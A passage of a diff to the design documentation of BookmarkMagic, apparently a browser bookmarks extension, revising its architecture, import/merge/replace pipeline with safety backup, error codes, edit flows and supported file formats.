│ │ │ └── open-manager.ts # getContexts() focus-or-create
|
||||
│ │ │ ├── open-manager.ts # getContexts() focus-or-create + route broadcast (§6)
|
||||
│ │ │ ├── write-lock.ts # one writer across Manager tabs (03 §5)
|
||||
│ │ │ ├── diagnostics.ts # in-memory, allowlisted event log (09 §7)
|
||||
│ │ │ ├── describe-error.ts # error → i18n key + detail (§7)
|
||||
│ │ │ └── clipboard.ts # write-only clipboard (09 T8)
|
||||
│ │ ├── import/run-import.ts # the import pipeline (03 §1)
|
||||
│ │ ├── export/run-export.ts # the export pipeline (03 §2)
|
||||
│ │ ├── edit/ # edit-node, patch-tree, move-target, tree-keyboard (03 §3)
|
||||
│ │ ├── edit/ # edit-node, patch-tree, move-target (incl. planDrop),
|
||||
│ │ │ # tree-keyboard, tree-keys, sort, live-sync,
|
||||
│ │ │ # search-expansion, focus-repair, row-window (03 §3)
|
||||
│ │ ├── import/folder-name.ts # the new-folder import's date (07 §3)
|
||||
│ │ ├── settings/options.ts # the six Settings choice tables (06 §3.4)
|
||||
│ │ ├── links.ts # repo / legal / donate URLs (14 §4, §5)
|
||||
│ │ ├── stores/ # Svelte 5 runes state (.svelte.ts)
|
||||
@@ -106,13 +123,17 @@ bookmarkmagic/
|
||||
│ │ │ ├── legal.svelte.ts # acceptedVersion
|
||||
│ │ │ ├── toast.svelte.ts # transient status queue + its timers (06 §4)
|
||||
│ │ │ ├── route.svelte.ts # location.hash + hashchange wrapper (§5)
|
||||
│ │ │ └── import-session.svelte.ts
|
||||
│ │ │ ├── import-session.svelte.ts
|
||||
│ │ │ ├── edit-view.svelte.ts # #edit: what the tree shows (03 §3)
|
||||
│ │ │ ├── edit-commands.svelte.ts # #edit: single-item writes, extends the view
|
||||
│ │ │ └── edit-session.svelte.ts # #edit: duplicates + bulk commands, extends both
|
||||
│ │ ├── i18n/ # runtime UI i18n (see 07_I18N.md)
|
||||
│ │ │ ├── index.svelte.ts
|
||||
│ │ │ ├── format.ts # pure Intl number/date helpers (07 §3)
|
||||
│ │ │ ├── resolve-locale.ts
|
||||
│ │ │ └── locales/{en,vi,ja}.ts
|
||||
│ │ └── components/ # shared Svelte components (see 06_UI.md)
|
||||
│ │ │ └── locales/{en,vi,ja}{,-notices,-import}.ts # split by namespace (07 §2)
|
||||
│ │ └── components/ # Svelte components (see 06_UI.md); icons/Icon.svelte,
|
||||
│ │ # focus-heading.ts (the step-heading focus attachment)
|
||||
│ └── styles/
|
||||
│ ├── tokens.css # CSS custom properties, themes
|
||||
│ └── base.css
|
||||
@@ -148,9 +169,13 @@ export interface BookmarkNode {
|
||||
addDate?: number; // epoch SECONDS (normalized, see timestamps.ts)
|
||||
lastModified?: number; // epoch SECONDS
|
||||
toolbar?: boolean; // Netscape PERSONAL_TOOLBAR_FOLDER
|
||||
root?: 'other' | 'mobile'; // folder IS that browser root (since v1.1.0; toolbar wins)
|
||||
children?: BookmarkNode[];
|
||||
}
|
||||
|
||||
export type FileFormat = // what a file was read as — sniffed, never the extension
|
||||
'netscape-html' | 'bm-json' | 'csv' | 'chrome-json' | 'firefox-json';
|
||||
|
||||
export interface ParseResult {
|
||||
roots: BookmarkNode[]; // top-level nodes from the file
|
||||
stats: TreeStats; // bookmarks, folders, maxDepth
|
||||
@@ -160,43 +185,62 @@ export interface ParseResult {
|
||||
export type MergeMode = 'new-folder' | 'merge' | 'replace';
|
||||
|
||||
export interface PlanSegment {
|
||||
rootId: string; // chrome folder id to write this subtree under
|
||||
nodes: BookmarkNode[];
|
||||
parentId: string; // live folder to write under: a root, or (Merge) a folder that exists
|
||||
nodes: BookmarkNode[]; // created in order and appended; each node's children nest inside it
|
||||
trail?: string[]; // titles from the root down to parentId, for the progress line
|
||||
}
|
||||
|
||||
export interface ImportPlan {
|
||||
mode: MergeMode;
|
||||
dedupe: boolean;
|
||||
dedupe: boolean; // the EFFECTIVE value: always false for Replace
|
||||
segments: PlanSegment[]; // final, post-dedupe trees + their destinations
|
||||
stats: {
|
||||
toCreate: number; // total nodes across ALL segments (folders + bookmarks)
|
||||
bookmarkCount: number; // bookmarks only — the "Import n bookmarks" button label
|
||||
folderCount: number; // folders to create, the new-folder wrapper included
|
||||
reusedFolders: number; // existing folders Merge writes into instead of copying
|
||||
skippedExisting: number; // dropped because the URL is already in the browser
|
||||
skippedInFile: number; // dropped because the URL repeats within the file
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
**Why segments and not a single root.** `03 §1` maps `toolbar: true` nodes to
|
||||
Bookmarks Bar and everything else to Other Bookmarks, and Replace deletes the
|
||||
children of both roots before writing. A single destination cannot express
|
||||
that, and would leave the toolbar permanently empty after a Replace.
|
||||
**Why segments and not a single root.** Top-level nodes go to three different
|
||||
roots (bar, Other, Mobile), Replace deletes the children of all of them before
|
||||
writing, and Merge writes into folders that already exist at any depth. A
|
||||
single destination cannot express any of that.
|
||||
|
||||
Segment construction per mode — spelled out so it is not left to interpretation:
|
||||
|
||||
| Mode | Segments |
|
||||
|---|---|
|
||||
| `new-folder` | Exactly one. `rootId` = Other Bookmarks; `nodes` = the single `Imported <date>` wrapper folder containing the whole parsed tree. `toolbar` is informational only (`03 §1`). |
|
||||
| `merge` / `replace` | At most two. Subtrees rooted at a `toolbar: true` node → `{ rootId: <Bookmarks Bar> }`; everything else → `{ rootId: <Other Bookmarks> }`. A segment with no nodes is omitted, not emitted empty. |
|
||||
| `new-folder` | Exactly one. `parentId` = Other Bookmarks; `nodes` = the single `Imported <date>` wrapper folder containing the whole parsed tree, root folders included. Markers are informational only (`03 §1`). |
|
||||
| `merge` | Top-level nodes are routed first (`core/route.ts`, `03 §1` step 7): a `toolbar` folder's children → the bar; a `root: "other"` folder's children → Other, in its place in the order; a `root: "mobile"` folder's children → Mobile (an ordinary folder under Other when the profile has no Mobile root); everything else → Other. Each root's list is then matched against that root's live children (`core/merge.ts`, `05 §5`): a folder with the exact title of a writable live child folder is **reused** — not created — and its children are matched one level down; everything else becomes a node in the segment of the live folder it lands in. One segment per live folder that receives anything, in first-use order. |
|
||||
| `replace` | As `merge`, but planned against **emptied** roots, so nothing matches and every node is created. |
|
||||
|
||||
`stats.toCreate` is the total across all segments — progress and the final
|
||||
report keep one denominator and one `done` counter for the whole import
|
||||
(`05 §6`).
|
||||
A root nothing is bound for gets no segment. `stats.toCreate` is the total
|
||||
across all segments — progress and the final report keep one denominator and
|
||||
one `done` counter for the whole import (`05 §6`). Every node is accounted for:
|
||||
`toCreate + reusedFolders + unwrapped root folders` equals the deduped tree
|
||||
(asserted over 200 random trees in `merge.test.ts`).
|
||||
|
||||
Chrome root mapping (Chromium ids are stable): Bookmarks Bar = `"1"`,
|
||||
Other Bookmarks = `"2"`, Mobile = `"3"`. `browser/bookmarks.ts` resolves them
|
||||
via `getTree()` rather than hardcoding — segment `rootId`s always come from
|
||||
that resolution, never a literal — but tests may rely on these ids.
|
||||
Chrome root mapping: `browser/bookmarks.ts` `getRoots()` resolves the three
|
||||
destinations by `folderType` (`bookmarks-bar`, `other`, `mobile`, Chrome
|
||||
134+), among this device's roots only — a signed-in account's own roots
|
||||
(`syncing: true`, Chrome 134+) are listed but never written to or emptied.
|
||||
Without `folderType` it falls back to the stable Chromium ids (`"1"`/`"2"`/`"3"`)
|
||||
and then to position. Desktop Chrome leaves an **empty** Mobile root out of
|
||||
`getTree()`, so a missing Mobile is looked up with `bookmarks.get("3")`; only if
|
||||
that fails do Mobile-marked folders land under Other. Segment `parentId`s
|
||||
always come from that resolution or from live folders found in the same read,
|
||||
never a literal — but tests may rely on the ids.
|
||||
|
||||
**Depth inside the browser** is capped separately from the parse cap:
|
||||
`MAX_WRITE_DEPTH` (90 levels below a root). Chrome stores its bookmarks as JSON
|
||||
it reads back with a 200-level nesting limit, two levels per folder, so a tree
|
||||
past about 98 folders deep saves and then fails to load on the next start. The
|
||||
plan reports `stats.writeDepth`; a plan past the cap is refused with `TOO_DEEP`
|
||||
before any backup or deletion, and the preview says so first.
|
||||
|
||||
Note the live tree is **not** `BookmarkNode`. `BookmarkNode` is the *file*
|
||||
model (no ids — `core/` may not know about `chrome.*`, layer rule 1). Anything
|
||||
@@ -229,9 +273,19 @@ submission (`08 §8`).
|
||||
2. Found → `browser.tabs.update(tabId, { active: true })` +
|
||||
`browser.windows.update(windowId, { focused: true })` (no `tabs`
|
||||
permission needed for these calls).
|
||||
Before focusing, it posts `{ kind: 'navigate', route, tabId }` on the
|
||||
`bookmarkmagic-manager` `BroadcastChannel` (same-origin, in-browser, no
|
||||
permission). Each Manager compares `tabId` with its own, from
|
||||
`tabs.getCurrent()` (no permission), so only the tab being focused acts;
|
||||
with two Managers open, 1.1.0's first cut switched both. The Manager
|
||||
validates the message and the route and switches to it — unless an import is
|
||||
writing, when it refuses with the same "busy" toast the tab bar uses
|
||||
(`03 §5`). 1.0.x only focused the tab, so "Export…" in the popup landed
|
||||
wherever the Manager had been left.
|
||||
3. Not found → `browser.tabs.create({ url: browser.runtime.getURL('/manager.html') + hash })`.
|
||||
|
||||
Popup may pass an intent (`#import` / `#export` / `#edit`) via the hash.
|
||||
Popup may pass an intent (`#import` / `#export` / `#edit` / `#settings`) via
|
||||
the hash for a new tab, or via the broadcast for an open one.
|
||||
|
||||
## 7. Error handling strategy
|
||||
|
||||
@@ -241,21 +295,31 @@ Popup may pass an intent (`#import` / `#export` / `#edit`) via the hash.
|
||||
| Code | Raised when |
|
||||
|---|---|
|
||||
| `NOT_NETSCAPE` | No `NETSCAPE-Bookmark-file-1` doctype **and** no `<DL>` found |
|
||||
| `NOT_BM_JSON` | Leading `{` parses, but `format !== "bookmarkmagic"` |
|
||||
| `NOT_BM_JSON` | The file is valid JSON but none of the three dialects BookmarkMagic reads (BM JSON, Chrome `Bookmarks`, Firefox backup — `04` intro). Before v1.1.0: "not `format: "bookmarkmagic"`". |
|
||||
| `MALFORMED_JSON` | `JSON.parse` throws |
|
||||
| `INVALID_NODE` | Structural check fails (missing/non-string `title`, non-string `url`, `children` on a bookmark) |
|
||||
| `BAD_CSV_HEADER` | Header row missing or columns not in the fixed order |
|
||||
| `CSV_ROW_MISMATCH` | Row field count ≠ header field count |
|
||||
| `CSV_UNCLOSED_QUOTE` | A quoted CSV field never closes; `line` is where it opened (since v1.1.0) |
|
||||
| `UNKNOWN_FORMAT` | `detect-format.ts` matched nothing |
|
||||
| `FILE_TOO_LARGE` | Size > `MAX_FILE_BYTES` |
|
||||
| `TOO_MANY_NODES` | Node count > `MAX_NODES` |
|
||||
| `TOO_DEEP` | Nesting depth > `MAX_DEPTH` |
|
||||
|
||||
Non-fatal anomalies are `ParseWarning`s, never errors — including
|
||||
`NO_BOOKMARKS` (valid doctype, zero `<DL>`), dropped `<DD>` descriptions,
|
||||
ignored `ICON` attributes, and invalid timestamps.
|
||||
Non-fatal anomalies are `ParseWarning`s, never errors. The set is closed too
|
||||
(`PARSE_WARNING_CODES` in `core/model.ts`; `dictionaries.test.ts` requires a
|
||||
plural message for each in every locale): `NO_BOOKMARKS`,
|
||||
`DESCRIPTIONS_DROPPED`, `FAVICONS_IGNORED`, `INVALID_DATE`, `MISSING_URL`,
|
||||
`NEWER_VERSION`, `EMPTY_TITLE`, and since v1.1.0 `INVALID_URL` (an address
|
||||
`chrome.bookmarks.create` would reject), `PLACE_QUERIES_SKIPPED` (Firefox smart
|
||||
bookmarks), `EXTRA_ROOTS_SKIPPED` (vendor roots in a browser JSON file) and
|
||||
`UNREADABLE_ENTRIES` (a `<DT>` with no readable `<A>` or `<H3>`).
|
||||
- `browser/` adds `BmBackupError { code }` for the forced safety backup
|
||||
(`03 §1` step 6b) and `BmAborted { done }` for a cancelled write.
|
||||
(`03 §1` step 6b) — `BACKUP_SERIALIZE_FAILED`, `BACKUP_EXCEEDS_LIMITS` (since
|
||||
v1.1.0: the backup would be refused by the import's own caps, so it is no
|
||||
backup), `BACKUP_CANCELLED`, `BACKUP_WRITE_FAILED`; the runtime list
|
||||
`BM_BACKUP_ERROR_CODES` is held to a message per locale like the parse codes —
|
||||
and `BmAborted { done }` for a cancelled write.
|
||||
- `browser/` maps `chrome.runtime.lastError` / promise rejections into typed
|
||||
results; never lets raw errors reach components.
|
||||
- UI shows human-readable, localized messages + a copyable technical detail
|
||||
|
||||
@@ -3,12 +3,12 @@
|
||||
## 1. IMPORT pipeline
|
||||
|
||||
```
|
||||
[1] Select file drag & drop or file picker (.html .htm .json .csv)
|
||||
│
|
||||
[2] Pre-validate extension allowlist · size ≤ MAX_FILE_BYTES (25 MB)
|
||||
[1] Select file drag & drop or file picker — any file; no extension
|
||||
│ filter (Chrome's `Bookmarks` file has none)
|
||||
[2] Pre-validate size ≤ MAX_FILE_BYTES (25 MB)
|
||||
│ fail → localized error, stop
|
||||
[3] Detect format detect-format.ts (content sniffing, not extension-trust)
|
||||
│
|
||||
[3] Detect format parse-file.ts → detect-format.ts: content sniffing,
|
||||
│ JSON parsed once and routed by shape (04 intro)
|
||||
[4] Parse per-format parser → ParseResult
|
||||
│ node count ≤ MAX_NODES (100 000) · collect warnings
|
||||
│ fail → error + line/detail, stop
|
||||
@@ -18,20 +18,26 @@
|
||||
│ warnings list (e.g. "favicons will not be imported")
|
||||
[6] Configure MergeMode:
|
||||
│ ● New folder "Imported 2026-07-03 14:05" (DEFAULT)
|
||||
│ ○ Merge (folders matched by path+title)
|
||||
│ ○ Merge (existing folders reused, level by level)
|
||||
│ ○ Replace all (DANGER: forces step 6b)
|
||||
│ Dedupe toggle: skip URLs already in browser
|
||||
│
|
||||
[6b] Safety backup Replace only. Three sub-steps, see "Safety backup"
|
||||
[7] Build ImportPlan from ONE Start-time read of the live tree:
|
||||
│ dedupe.ts → route.ts → merge.ts → plan.ts. Built
|
||||
│ BEFORE the backup, so a failure here deletes nothing.
|
||||
[6b] Safety backup Replace only. Five sub-steps, see "Safety backup"
|
||||
│ below. Non-skippable, and deletion never starts until
|
||||
│ the backup is proven or the user explicitly overrides.
|
||||
[7] Build ImportPlan core/diff.ts + dedupe.ts → final node list + counts
|
||||
│
|
||||
│ (Numbering kept from 1.0.x for cross-references; since
|
||||
│ v1.1.0 the plan comes first.)
|
||||
[8] Write browser/write-queue.ts:
|
||||
│ sequential DFS create (parent → children, in order)
|
||||
│ progress events every 50 ops → progress bar + path label
|
||||
│ progress on the first create, then every 50 ops
|
||||
│ → progress bar + path label
|
||||
│ Cancel button → AbortController → partial state reported
|
||||
[9] Report success card: created / skipped / warnings
|
||||
[9] Report bookmarks and folders created · skipped (existing / in
|
||||
file) · folders reused · where it went — also after a
|
||||
cancel or failure (06 §3.1)
|
||||
actions: [Open Edit tab] [Import another file]
|
||||
```
|
||||
|
||||
@@ -40,25 +46,49 @@
|
||||
- Steps 1–7 touch nothing in the browser. The first write happens at step 8.
|
||||
- Replace = delete children of Bookmarks Bar + Other Bookmarks (+ Mobile if
|
||||
present), then write. Roots themselves are never deleted (API forbids it).
|
||||
- Merge mode folder matching: same *path of titles* from the root ⇒ reuse
|
||||
folder; otherwise create. Bookmarks are never "updated" — only created or
|
||||
skipped (dedupe).
|
||||
- Toolbar mapping: nodes with `toolbar: true` target Bookmarks Bar; everything
|
||||
else targets Other Bookmarks. This is why `ImportPlan` carries **segments**
|
||||
rather than one destination (`02 §4`). In **new-folder** mode the whole tree
|
||||
goes under `Other Bookmarks/Imported <date>/…` preserving structure (toolbar
|
||||
flag recorded in the preview as informational).
|
||||
- **Root routing** (`core/route.ts`), top-level nodes only — deeper, markers
|
||||
are data. A folder that *is* a browser root is **unwrapped**: its children go
|
||||
into that root and the folder itself is never written.
|
||||
- `toolbar: true` folder → its children into the Bookmarks Bar (a flagged
|
||||
bookmark, malformed but possible, goes there as itself);
|
||||
- `root: "other"` folder → its children into Other Bookmarks, in its place in
|
||||
the order;
|
||||
- `root: "mobile"` folder → its children into Mobile Bookmarks; a profile
|
||||
with no Mobile root keeps it as an ordinary folder under Other;
|
||||
- everything else → Other Bookmarks.
|
||||
|
||||
The markers come from our own exports and backups (`04 §1.1`, §2), from
|
||||
Firefox's HTML export (`UNFILED_BOOKMARKS_FOLDER`), and from the two browser
|
||||
JSON files (`04 §2a/§2b`). Without them — 1.0.x — every restore nested a
|
||||
folder named "Other bookmarks" inside Other Bookmarks, one level deeper each
|
||||
time, and Mobile never came back. In **new-folder** mode nothing is routed:
|
||||
the whole tree, root folders included, goes under
|
||||
`Other Bookmarks/Imported <date>/…` (markers recorded in the preview as
|
||||
informational).
|
||||
- **Merge reuses folders** (`core/merge.ts`, `05 §5`). Below each destination
|
||||
root, a file folder with the exact, case-sensitive title of a writable child
|
||||
folder of the live folder its parent matched is reused — never created,
|
||||
moved or renamed — and new items are **appended** to it. The first of two
|
||||
same-named live folders wins; policy-managed folders never match. Bookmarks
|
||||
are never "updated" — only created or skipped (dedupe). 1.0.x planned Merge
|
||||
exactly like Replace and re-created every folder, so "merge" produced a
|
||||
second "Dev" beside the first.
|
||||
**CSV can never target the Bookmarks Bar** — the format has no `toolbar`
|
||||
column, so a parsed CSV node always has `toolbar === undefined` and its first
|
||||
path segment is an ordinary folder title. Re-importing our own CSV export in
|
||||
merge/replace mode therefore produces `Other Bookmarks/Bookmarks bar/…`, not
|
||||
the real toolbar. Documented limitation, surfaced in the Export tab (`04 §3`).
|
||||
- **Dedupe is inert in Replace mode.** The browser tree is deleted before the
|
||||
write, so nothing can already exist: build the plan against an *empty*
|
||||
browser index and force the browser-side skip off, or a user re-importing
|
||||
their own backup would have every bookmark skipped and lose everything. The
|
||||
UI disables and unchecks the dedupe checkbox when Replace is selected
|
||||
(`06 §3.1`). In-file duplicate collapsing still applies when the toggle is on.
|
||||
- **Dedupe is off in Replace mode — both halves of it.** The browser tree is
|
||||
deleted before the write, so nothing can already exist, and a Replace
|
||||
restores a file *exactly*: two copies of a link in the backup are two
|
||||
bookmarks after the restore. `buildImportPlan` computes the effective value
|
||||
(`dedupe && mode !== 'replace'`) and stores it in `plan.dedupe`; the stored
|
||||
preference is untouched. In 1.0.x the box showed unchecked while in-file
|
||||
repeats were still collapsed. The UI disables and unchecks the dedupe
|
||||
checkbox when Replace is selected (`06 §3.1`).
|
||||
- Merge dedupes against the **Start-time** read of the tree, not the preview's
|
||||
snapshot, so a link bookmarked between preview and Start is not added twice.
|
||||
The preview snapshot drives only the badges.
|
||||
- Import runs **only in the Manager tab**, never in the popup (popup teardown
|
||||
on blur would kill the write queue).
|
||||
|
||||
@@ -72,21 +102,40 @@ we would then delete every bookmark they own. So:
|
||||
click handler — reading the tree first burns the activation window on
|
||||
exactly the largest profiles. Only the handle is acquired here; writing is
|
||||
not activation-gated. Cancel ⇒ `BmBackupError { code: 'BACKUP_CANCELLED' }`.
|
||||
2. **Read the live tree ONCE, and serialize from that read.** The same
|
||||
`LiveNode[]` that gets serialized is the one handed to the delete step, so
|
||||
the backup is provably a superset of what is removed. Serializing the
|
||||
*preview-time* snapshot instead loses anything bookmarked between preview
|
||||
and Start — with no copy on disk. Any serialize throw aborts with
|
||||
`BACKUP_SERIALIZE_FAILED` and never reaches step 7.
|
||||
The snapshot must carry `toolbar: true` on the Bookmarks Bar, or restoring
|
||||
the backup nests the whole toolbar under Other Bookmarks.
|
||||
3. **Attest.** Picker path: writer `close()` resolving proves the backup —
|
||||
2. **Serialize from a Start-time read — and check it still holds.** The roots
|
||||
Replace backs up and empties are exactly the three destinations
|
||||
(`BookmarkRoots.replaceable`): never an account-storage root it does not
|
||||
write back into, never a managed one. Serializing the *preview-time*
|
||||
snapshot instead would lose anything bookmarked between preview and Start.
|
||||
But the read also precedes the save dialog, and on the fallback path the
|
||||
user's trip to the Downloads folder — time in which sync, another window or
|
||||
another tab can add a bookmark inside an existing folder, which the clear
|
||||
would then delete with no copy anywhere. So once the backup is on disk the
|
||||
tree is **read again**: unchanged → the clear deletes exactly what was
|
||||
backed up; changed → the picker path writes the fresh snapshot to the same
|
||||
file (no new click) and checks again, up to three times, and the fallback
|
||||
path stops with `BACKUP_STALE`. Nothing is deleted on either refusal. Any
|
||||
serialize throw aborts with `BACKUP_SERIALIZE_FAILED`; a file the user
|
||||
picked but that never received a backup is removed again (best effort,
|
||||
`FileSystemHandle.remove`), and the suggested name carries seconds, so a
|
||||
retry never offers to overwrite the previous backup.
|
||||
The snapshot carries the root markers — `toolbar: true` on the Bookmarks
|
||||
Bar, `root: "other"`/`"mobile"` on the other two — or restoring the backup
|
||||
nests them under Other Bookmarks.
|
||||
3. **Refuse a backup the import could not read back** (since v1.1.0). The
|
||||
backup is compact BM JSON (no indentation, about half the bytes), and before
|
||||
a single byte is written it is checked against the import's own caps — node
|
||||
count, depth, then the serialized size (`core/caps.ts`). A breach raises
|
||||
`BACKUP_EXCEEDS_LIMITS` and nothing is written, downloaded, confirmed or
|
||||
deleted. 1.0.x wrote such a backup, deleted the tree, and the parser then
|
||||
refused the backup on restore.
|
||||
4. **Attest.** Picker path: writer `close()` resolving proves the backup —
|
||||
proceed. Fallback `<a download>` path: **no signal exists**, so the import
|
||||
enters an `attesting` state and shows a blocking confirm ("Check your
|
||||
downloads folder for `bookmarkmagic-backup-….json`, then confirm") —
|
||||
anything other than an explicit confirmation is treated as
|
||||
`BACKUP_CANCELLED` and nothing is deleted.
|
||||
4. **Delete.** Only now. The UI enters a `clearing` state that offers **no
|
||||
5. **Delete.** Only now. The UI enters a `clearing` state that offers **no
|
||||
Cancel button**: the deletion loop is abortable, but presenting a cancel
|
||||
affordance mid-delete let a user cancel and then be told "0 items created"
|
||||
after their tree was already gone. Cancel becomes available again once the
|
||||
@@ -111,19 +160,55 @@ fine at our size cap (strings of a few MB).
|
||||
|
||||
## 3. EDIT flows (Manager → #edit)
|
||||
|
||||
State and commands live in `stores/edit-session.svelte.ts` (`EditSession`, one
|
||||
per tab mount, with the bookmarks API injected so every command is tested
|
||||
against the in-memory fake), built in three layers — `edit-view` (what the tree
|
||||
shows), `edit-commands` (single-item writes), `edit-session` (duplicates and the
|
||||
two bulk commands); `EditTab.svelte` is markup and wiring. Rename,
|
||||
move and delete are applied to the local tree optimistically; bulk commands
|
||||
update it after each call the browser accepts; the live events below confirm
|
||||
both. A command the browser refuses **re-reads the tree** instead of restoring
|
||||
a snapshot — a snapshot would resurrect rows an earlier step of a bulk command
|
||||
legitimately deleted — and the re-read keeps whatever is still open and
|
||||
focused.
|
||||
|
||||
**One bulk command at a time.** While Sort A→Z or "keep first in each group"
|
||||
runs (`busy`), every other write — a second bulk command, rename, delete, move,
|
||||
drag, new folder — is refused by the session itself, not only greyed out in the
|
||||
toolbar; only the command that set `busy` clears it. 1.1.0's first cut guarded
|
||||
the toolbar alone, so a row's Sort button started a second sort that failed with
|
||||
two false messages and re-enabled the toolbar mid-sort.
|
||||
|
||||
**Focus stays on a rendered row.** When the focused row leaves the screen — a
|
||||
collapse, a move into a closed folder, a search, a delete in another tab — focus
|
||||
moves to its nearest visible folder (`edit/focus-repair.ts`; a row deleted
|
||||
elsewhere is climbed with the tree as it was), and a rename whose row is hidden
|
||||
is dropped. Without this `aria-activedescendant` pointed at nothing and every
|
||||
tree key was ignored.
|
||||
|
||||
| Action | Path |
|
||||
|---|---|
|
||||
| Search | input (debounced 150 ms) → core filter on title+URL → tree shows matches with ancestors expanded |
|
||||
| Rename | inline edit / F2 → `bookmarks.update(id, { title })` |
|
||||
| Move | drag & drop or context-menu "Move to…" (folder picker) → `bookmarks.move(id, { parentId, index })` |
|
||||
| Delete | context menu / Del key → confirm dialog (folder shows descendant count) → `removeTree` / `remove` |
|
||||
| New folder | toolbar button / context menu → `bookmarks.create({ parentId, title })` → inline-edit title |
|
||||
| Open bookmark | click URL → `tabs.create({ url })` (`javascript:` URLs are display-only, never opened) |
|
||||
| Duplicate finder | scan tree → groups by normalized URL → panel lists groups → per-item delete, "keep first in each group" bulk action (confirm) |
|
||||
| Search | input (debounced 150 ms) → core filter on title+URL → tree shows matches with ancestors expanded; a folder the user collapses during the search stays collapsed until the search text changes |
|
||||
| Rename | F2 or the row button → inline input, focused with its text selected; Enter or blur commits, Esc cancels (a blur after Esc does not commit), and after Enter or Esc focus returns to the tree → trimmed; blank or unchanged → nothing; else `bookmarks.update(id, { title })` |
|
||||
| Move | drag & drop onto a row — before, after or into (`planDrop`, `05 §10`) → `bookmarks.move(id, { parentId, index })`, or `{ parentId }` alone into a folder; "Move to…" (row button, menu key / Shift+F10) → modal folder list with a filter → `bookmarks.move(id, { parentId })`, appended |
|
||||
| Delete | Del or the row button → confirm dialog (folder shows descendant count) → `removeTree` / `remove`; when the deleted row had focus, focus moves to the next row, else the previous. A copy deleted from the duplicate panel leaves the tree's focus where it was |
|
||||
| New folder | toolbar button → `bookmarks.create({ parentId, title })` in the focused folder, beside a focused bookmark, else in the first writable root → inserted at once unless its live event got there first (Chrome fires `onCreated` before `create` resolves, so either may win), a search that would hide it cleared, and every folder above it opened as the user's own — so clearing the search cannot close them again → inline rename |
|
||||
| Sort A→Z | toolbar (the focused folder, or the focused bookmark's folder) or a folder row's button → `planSort` (`05 §10`) → confirm stating how many items move → one awaited `bookmarks.move(id, { parentId, index })` per planned move, yielding every 25, under the write lock (§5). Refused part-way → "moved d of t" and a re-read: there is no undo |
|
||||
| Open bookmark | Enter, double-click, or the row's Open button → `tabs.create({ url })` for `http:`/`https:` only (`09` T3); anything else is refused with a toast |
|
||||
| Copy link | the row button, or Ctrl/⌘+C on the focused row → `navigator.clipboard.writeText` (`09` T8) |
|
||||
| Duplicate finder | toolbar toggles the panel → groups by normalized URL, computed **only while the panel or its confirmation is showing**, policy-managed copies left out (the browser refuses to delete them) → per-copy delete, or "keep first in each group" (confirm with the exact count) under the write lock; stopped part-way → "deleted d of t" and a re-read |
|
||||
|
||||
**Live sync:** `#edit` subscribes to `bookmarks.onCreated/onRemoved/onChanged/
|
||||
onMoved` and patches the in-memory tree, so external changes (or our own
|
||||
import) appear without reload. Listeners attach on tab enter, detach on leave.
|
||||
**Live sync** (`edit/live-sync.ts`, `05 §11`). `#edit` subscribes on enter and
|
||||
unsubscribes on leave: `bookmarks.onCreated/onRemoved/onChanged/onMoved`, plus
|
||||
`onChildrenReordered` and Chrome's own importer's `onImportBegan/onImportEnded`.
|
||||
Events are queued and applied together **once per animation frame**, in arrival
|
||||
order. An import running in another tab sends one `onCreated` per node — 1.0.x
|
||||
patched the tree, and rescanned it for duplicates, on every one — so past 500
|
||||
queued events the queue is dropped and the tree is **re-read once** instead. A
|
||||
wholesale reorder (Chrome's own "Sort by name") and the end of a Chrome import
|
||||
re-read too; `onCreated` is ignored while Chrome's importer runs. Each listener
|
||||
is isolated (`subscribe` in `browser/bookmarks.ts`), so an exception in one can
|
||||
no longer silently stop the tree following the browser.
|
||||
|
||||
## 4. Settings & legal flows
|
||||
|
||||
@@ -162,7 +247,32 @@ unmounts the tab on every route change, so component-local state would be lost
|
||||
while the session still said `parsed`, leaving a preview with no badges and a
|
||||
dead Import button.
|
||||
|
||||
`attesting` and `clearing` occur in Replace mode only. While any of
|
||||
`backing-up`/`attesting`/`clearing`/`writing` is active the other tabs are
|
||||
disabled, so an in-app route change cannot orphan the queue — `beforeunload`
|
||||
only covers closing or reloading the tab, not internal navigation.
|
||||
`attesting` and `clearing` occur in Replace mode only. Replace's Start opens
|
||||
the confirmation with exact counts first (`06 §3.1`); that dialog is
|
||||
component state, not a session state, and `backing-up` begins on confirm.
|
||||
Since v1.1.0 `cancelled` and `error` carry `where` (`WriteSite`: the mode, and
|
||||
the new-folder wrapper's title) so the report can say where the items already
|
||||
created are, and a `backupFilename` only once the backup really exists — the
|
||||
name the user saved it under, reported by `onClearing`. A failure before that
|
||||
point never names a file that was not written.
|
||||
|
||||
While any of `backing-up`/`attesting`/`clearing`/`writing` is active
|
||||
(`isWriting()`) the other tabs are disabled, so an in-app route change cannot
|
||||
orphan the queue — `beforeunload` only covers closing or reloading the tab, not
|
||||
internal navigation. The same check refuses browser Back and, since v1.1.0, a
|
||||
route the popup sends over the `BroadcastChannel` (`06 §2`); both get the busy
|
||||
toast instead.
|
||||
|
||||
**One writer across Manager tabs** (`browser/write-lock.ts`, since v1.1.0). Two
|
||||
tabs replacing at once would each back up, then delete what the other was
|
||||
writing; a sort racing an import reorders a folder mid-write. So the import's
|
||||
whole write phase (the Start-time read and plan, backup, clear, write), Sort
|
||||
A→Z and "keep first in each group" each run inside a Web Lock,
|
||||
`navigator.locks.request('bookmarkmagic-write', { ifAvailable: true }, …)`. A
|
||||
second tab that tries one of them while the lock is held is refused **at once**
|
||||
with `BmEnvError('WRITE_LOCKED')` — before anything is read or touched — rather
|
||||
than queued behind a write the user cannot see. The import requests the lock
|
||||
only after opening the save picker: waiting for it first would spend the
|
||||
click's transient activation (§1 step 6b). Single edits (rename, move,
|
||||
delete one item, new folder) take no lock. Where the API is missing — the test
|
||||
environment — the operation simply runs.
|
||||
@@ -1,18 +1,41 @@
|
||||
# 04 — File Formats
|
||||
|
||||
Four formats. HTML is the interoperability workhorse; JSON is our lossless
|
||||
round-trip format; CSV is for spreadsheets; Markdown is share/export-only.
|
||||
Six formats. HTML is the interoperability workhorse; BM JSON is our lossless
|
||||
round-trip format; CSV is for spreadsheets; Markdown is share/export-only; and
|
||||
since v1.1.0 two browser files are read directly — Chrome's profile `Bookmarks`
|
||||
file and Firefox's JSON backup.
|
||||
|
||||
| Format | Import | Export | Lossless | Purpose |
|
||||
|---|---|---|---|---|
|
||||
| Netscape HTML | ✔ | ✔ | structure+dates | Universal browser exchange (Chrome, Edge, Brave, Firefox, Safari, Vivaldi, Opera all read/write it) |
|
||||
| BM JSON v1 | ✔ | ✔ | ✔ | Backups, round-trip, safety backup before Replace |
|
||||
